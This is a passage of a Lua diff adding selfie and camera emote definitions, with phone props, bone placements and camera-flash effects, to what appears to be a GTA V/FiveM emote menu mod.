{Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 4169, -- Left Finger 11 + PropPlacement = { + 0.0100, + -0.0330, + 0.000, + -19.7197, + 9.4080, + -3.4048 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiesit5"] = { -- Emote by Chocoholic Animations + "chocoholic@single83", + "single83_clip", + "Selfie Sitting 5", + AnimationOptions = { + Prop = 'prop_phone_taymckenzienz', + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 64016, + PropPlacement = { + 0.1080, + -0.0160, + 0.0300, + -171.4163, + -117.2863, + 17.0148 + }, + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "getup", + ExitEmoteType = "Exits", + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiefu"] = { -- Struggleville + "anim@fuck_you_selfie", + "fuck_you_selfie_clip", + "Selfie Middle Finger", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 28422, + PropPlacement = { + 0.1200, + 0.0220, + -0.0210, + 98.6822, + -4.9809, + 109.6216 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiethot"] = { -- Struggleville + "anim@sitting_thot", + "sitting_thot_clip", + "Selfie Thot Instagram", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 28422, + PropPlacement = { + 0.1030, + 0.0440, + -0.0270, + -160.2802, + -99.4080, + -3.4048 + }, + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "getup", + ExitEmoteType = "Exits", + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiefloor"] = { -- Custom Emote By Struggleville + "anim@selfie_floor_cute", + "floor_cute_clip", + "Selfie Floor Instagram", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 60309, + PropPlacement = { + 0.0930, + 0.0230, + 0.0260, + -158.8271, + -82.9040, + -18.7472 + }, + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "getup", + ExitEmoteType = "Exits", + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiefloor2"] = { -- Custom Emote By Struggleville + "anim@female_selfie_04", + "f_selfie_04_clip", + "Selfie Floor 2", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 4185, + PropPlacement = { + 0.0170, + -0.0100, + 0.0200, + -27.3580, + 54.9374, + -6.1611 + }, + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "getup", + ExitEmoteType = "Exits", + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiefloor3"] = { -- Custom Emote By Chocoholic Animations + "chocoholic@single90", + "single90_clip", + "Selfie & Wine", + AnimationOptions = { + Prop = 'p_wine_glass_s', + PropBone = 28422, + PropPlacement = { + 0.0800, + 0.0170, + 0.0810, + -174.2748, + -11.5083, + 29.4987 + }, + SecondProp = 'prop_phone_taymckenzienz', + PropTextureVariations = { + { Name = "Blue", Value = 0 }, + { Name = "Green", Value = 1 }, + { Name = "Dark Red", Value = 2 }, + { Name = "Orange", Value = 3 }, + { Name = "Grey", Value = 4 }, + { Name = "Purple", Value = 5 }, + { Name = "Pink", Value = 6 }, + { Name = "Black", Value = 7 }, + }, + SecondPropBone = 4186, -- Left Finger 22 + SecondPropPlacement = { + -0.0100, + 0.0000, + 0.0200, + -80.0000, + 0.0000, + -20.0000 + }, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200, + EmoteLoop = true, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["selfiesexy"] = { -- Custom Emote By Little Spoon, designed for a custom iFruit phone model, however I am sticking with default game props for now + "littlespoon@selfie001", + "selfie001", + "Selfie Sexy", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 58870, -- Right Finger 40 Bone + PropPlacement = { + 0.0150, + 0.0230, + 0.0700, + 0.0, + 0.0, + 170.0000 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiesexy2"] = { -- Custom Emote By Little Spoon, designed for a custom iFruit phone model, however I am sticking with default game props for now + "littlespoon@selfie002", + "selfie002", + "Selfie Sexy 2", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 64064, -- Right Finger 31 Bone + PropPlacement = { + 0.0290, + 0.0140, + 0.0490, + 174.9616, + -149.6187, + 8.6491 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiesexy3"] = { -- Custom Emote By Little Spoon, designed for a custom iFruit phone model, however I am sticking with default game props for now + "littlespoon@selfie003", + "selfie003", + "Selfie Sexy 3 - Squat", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 64064, -- Right Finger 31 Bone + PropPlacement = { + 0.0290, + 0.0140, + 0.0490, + 174.9616, + -149.6187, + 8.6491 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiesexy4"] = { -- Custom Emote By Little Spoon, designed for a custom iFruit phone model, however I am sticking with default game props for now + "littlespoon@selfie004", + "selfie004", + "Selfie Sexy 4", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 64064, -- Right Finger 31 Bone + PropPlacement = { + 0.0290, + 0.0140, + 0.0490, + 174.9616, + -149.6187, + 8.6491 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiesexy5"] = { -- Custom Emote By Little Spoon, designed for a custom iFruit phone model, however I am sticking with default game props for now + "littlespoon@selfie005", + "selfie005", + "Selfie Sexy 5", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 64064, -- Right Finger 31 Bone + PropPlacement = { + 0.0290, + 0.0140, + 0.0490, + 174.9616, + -149.6187, + 8.6491 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiecute"] = { -- Custom Emote By Puppy, designed for a custom iFruit phone model, however I am sticking with default game props for now + "pupppy@freeselfie01", + "freeselfie01", + "Selfie Cute", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 26613, -- Left Finger 30 Bone + PropPlacement = { + 0.0380, + -0.0310, + 0.0590, + 0.0000, + 0.0000, + 10.0000 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiecute2"] = { -- Custom Emote By Puppy, designed for a custom iFruit phone model, however I am sticking with default game props for now + "pupppy@freeselfie02", + "freeselfie02", + "Selfie Cute 2", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 60309, -- Left Wrist, worked better. + PropPlacement = { + 0.0960, + 0.0160, + 0.0420, + -155.3515, + -84.4828, + 4.7551 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiecute3"] = { -- Custom Emote By Puppy, designed for a custom iFruit phone model, however I am sticking with default game props for now + "pupppy@freeselfie03", + "freeselfie03", + "Selfie Cute 3", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 26614, -- Left Finger 40, worked better. + PropPlacement = { + 0.0310, + -0.0430, + 0.0720, + 0.0000, + 3.9999, + 0.0000 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiecute4"] = { -- Custom Emote By Struggleville, designed for a custom iFruit phone model, however I am sticking with default game props for now + "anim@egirl_1foot_selfie", + "1foot_selfie_clip", + "Selfie Cute 4", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 4185, -- Left Finger 21 + PropPlacement = { + 0.0290, + -0.0230, + 0.0190, + -14.7860, + 67.8030, + 6.1827 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiecute5"] = { -- Custom Emote By Wolf's Square + "eagle@girlphonepose21", + "girl", + "Selfie Cute 5", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 4185, + PropPlacement = { + 0.0210, + -0.0150, + 0.0110, + -45.8936, + 41.8372, + -26.6415 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiebbum"] = { -- Custom Emote By Struggleville, designed for a custom iFruit phone model, however I am sticking with default game props for now + "anim@female_beach_booty_selfie", + "booty_selfie_clip", + "Selfie Beach Bum", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 26613, -- Left Finger 30 + PropPlacement = { + 0.0680, + -0.0250, + 0.0340, + -13.4299, + 47.2288, + -14.9588 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ['selfiehb'] = { -- Custom prop by crowded1337, unbranded by TayMcKenzieNZ + 'anim@female_selfie_cute', + 'selfie_cute_clip', + 'Selfie Hand Bag', + AnimationOptions = { + Prop = 'prop_amb_handbag_01', + PropBone = 28422, -- Right Wrist + PropPlacement = { + 0.1700, + 0.0020, + -0.1000, + 105.4525, + -178.3549, + 69.1794 + }, + SecondProp = 'prop_phone_taymckenzienz',-- Cell Phone Left Finger 21 + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + SecondPropBone = 4185, + SecondPropPlacement = { + 0.0200, + -0.0250, + 0.0000, + -8.5947, + 30.6141, + -5.1311 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiehhands"] = { -- Custom Emote By QueenSistersAnimations, designed for a custom iFruit phone model, however I am sticking with default game props for now + "heartselfiemirror@queensisters", + "heartselfie_clip", + "Selfie Heart Hands", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 64096, -- Right Finger 11 + PropPlacement = { + 0.0390, + 0.0200, + 0.0330, + 90.0000, + 180.0000, + 13.0000 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiefu2"] = { -- Custom Emote By QueenSistersAnimations, designed for a custom iFruit phone model, however I am sticking with default game props for now + "fuckyouselfie@queensisters", + "mirrorselfie_clip", + "Selfie Middle Finger 2", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 64097, -- Right Finger 12 + PropPlacement = { + -0.0210, + 0.0300, + -0.0030, + -180.0000, + -180.0000, + 0.0000 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiefu3"] = { -- Custom Emote By QueenSistersAnimations, designed for a custom iFruit phone model, however I am sticking with default game props for now + "selfiekilye@queensisters", + "kilye_clip", + "Selfie Middle Finger Thot Pose", + AnimationOptions = { + Prop = 'prop_cs_dildo_01', + PropBone = 28422, -- Right Wrist + PropPlacement = { + 0.0450, + 0.0050, + -0.0150, + 92.0810, + 1.3049, + -2.8863 + }, + SecondProp = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + SecondPropBone = 26613, -- Left Finger 30 + SecondPropPlacement = { + 0.0650, + -0.0280, + 0.0440, + 10.6808, + 13.7526, + 2.6457 + }, + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "getup", + ExitEmoteType = "Exits", + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200, + }, + AdultAnimation = true + }, + ["selfiemale"] = { -- Custom Emote By Wolf's Square + "eagle@boypose04", + "boy", + "Selfie Male Pose", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 60309, + PropPlacement = { + 0.0730, + 0.0220, + 0.0460, + -142.1374, + -92.4142, + 33.1691 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiemeh"] = { -- Custom Animation By Chocoholic Animations + "chocoholic@single81", + "single81_clip", + "Selfie Meh", + AnimationOptions = { + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 58868, + PropPlacement = { + 0.0450, + 0.0310, + 0.0280, + 165.3005, + -174.8342, + -8.4770 + }, + EmoteLoop = true, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["selfiewine"] = { -- Custom Emote By Wolf's Square + "holding_wine@taking_selfie", + "base", + "Selfie Wine", + AnimationOptions = { + Prop = 'p_wine_glass_s', + PropBone = 28422, + PropPlacement = { + 0.0420, + -0.0700, + -0.0440, + -82.6657, + 1.2898, + -19.9222 + }, + SecondProp = 'prop_phone_taymckenzienz', + PropTextureVariations = { + { Name = "Blue", Value = 0 }, + { Name = "Green", Value = 1 }, + { Name = "Dark Red", Value = 2 }, + { Name = "Orange", Value = 3 }, + { Name = "Grey", Value = 4 }, + { Name = "Purple", Value = 5 }, + { Name = "Pink", Value = 6 }, + { Name = "Black", Value = 7 }, + }, + SecondPropBone = 4090, + SecondPropPlacement = { + 0.0250, + -0.0080, + -0.0050, + -140.5541, + -24.7476, + 13.7795 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["femalemirrorselfie"] = { + "mirror_selfie_1@janina234", + "mirror_selfie_1_clip", + "Female Mirror Selfie", + AnimationOptions = { -- Custom emote by Janina234 + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 4089, + PropPlacement = { + 0.0890, + -0.0350, + 0.0200, + -161.7778308, + -54.5014945, + -12.0985177 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["femalemirrorselfie1"] = { + "mirror_selfie_8@daj", + "mirror_selfie_8_clip", + "Female Mirror Selfie 1", + AnimationOptions = { -- Custom emote by Dark + Prop = "prop_phone_taymckenzienz", + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 4153, + PropPlacement = { + 0.0400, + 0.00000, + 0.0500, + -37.4803963, + 33.2648588, + 18.6732448 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["cameraphotography"] = { -- Custom emote by MrWitt + "mrwitt@photographic_journey_f", + "mrwitt", + "Camera Photography", + AnimationOptions = { + Prop = 'prop_pap_camera_01', + PropBone = 26613, + PropPlacement = { + 0.0280, + -0.1350, + 0.1120, + -86.9428843, + 157.9882355, + 80.8053557 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_bike_business", + PtfxName = "scr_bike_cfid_camera_flash", + PtfxPlacement = { + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["malemirrorselfie"] = { -- Custom emote by Struggleville + "anim@male_model_08", + "m_model_08_clip", + "Male Mirror Selfie", + AnimationOptions = { + Prop = 'prop_phone_taymckenzienz', + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 4169, + PropPlacement = { + 0.0300, + -0.0200, + 0.0200, + -64.2080926, + 3.367247, + 0.0711684 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["malemirrorselfie1"] = { -- Custom emote by Struggleville + "anim@male_selfie_08", + "m_selfie_08_clip", + "Male Mirror Selfie 1", + AnimationOptions = { + Prop = 'prop_phone_taymckenzienz', + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 4169, + PropPlacement = { + 0.0100, + -0.0400, + 0.0000, + -32.8072134, + 11.7427793, + 32.5772863 + }, + EmoteLoop = true, + EmoteMoving = false, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200 + } + }, + ["malemirrorselfie2"] = { -- Custom emote by Struggleville + "anim@male_selfie_06", + "m_selfie_06_clip", + "Male Mirror Selfie 2", + AnimationOptions = { + Prop = 'prop_phone_taymckenzienz', + PropTextureVariations = { + {Name = "Blue", Value = 0}, + {Name = "Green", Value = 1}, + {Name = "Dark Red", Value = 2}, + {Name = "Orange", Value = 3}, + {Name = "Grey", Value = 4}, + {Name = "Purple", Value = 5}, + {Name = "Pink", Value = 6}, + {Name = "Black", Value = 7} + }, + PropBone = 4169, + PropPlacement = { + 